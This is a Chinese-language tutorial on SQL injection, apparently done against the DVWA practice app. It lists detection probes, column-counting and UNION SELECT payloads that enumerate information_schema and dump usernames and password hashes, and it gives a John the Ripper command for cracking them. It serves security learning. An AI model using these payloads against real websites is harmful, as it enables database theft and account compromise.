Web渗透_SQL注入1

SQL注入


  • 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
  • 基于报错的检测方式


' " % ()



  • 基于布尔的检测
    • 1'and'1'='1 / 1'and'1
    • 1'and'1'='2 / 1'and'0
    • 通过真假去判断是否存在SQL注入



检测查询字段


  • 表列数/显示信息位于哪一列
    • 'order by 9--(--后面加个空格) #按查询列号排序(注释符:--)
    • select * 时表字段数=查询字段数



  • 慢慢减少数字,直到不报错为止


联合查询


  • 'union select 1,2-- (--后面加个空格) ##查询哪个是第一个字段哪个是第二个字段
  • 'union all select database(),2-- (--后面加个空格)



  • 当然,我们可以去替换字段去查询一些敏感信息
    • 'union select user(),version()--



  • 除此之外,还可以替换成其他的全局参数
  • @@datadir #当前数据库所在位置
    @@hostname #查询当前主机名
    @@VERSION #查询数据库版本
    @@version_compile_os-- #查询操作系统
    CHAR() #执行ACSII码转换
    md5() #计算哈希值
  • 连接字符串
    • CONCAT_WS(CHAR(32,58,32),user(),database(),version())


注:这个插件叫hackbar,自己去搜下如何使用


查询所有表 / 所有库


  • 'union select table_name,table_schema from information_schema.tables-- '



统计库中表的数量


  • 'UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --



Dvwa库中的表名


'union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --+  (+代表空格)



查询Users表中所有列


'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+ (+代表空格)



查询user、password列中的内容


'union select user,password from dvwa.users--+  (+代表空格)



'union select null,concat(user,0x3a,password) from users--+



  • 之后将用户名和密码保存下来



  • 之后 去破解密码


john --format=raw-MD5 dvwa.txt


Web
发表评论
留言与评论(共有 0 条评论) “”
   
验证码:

相关文章

推荐文章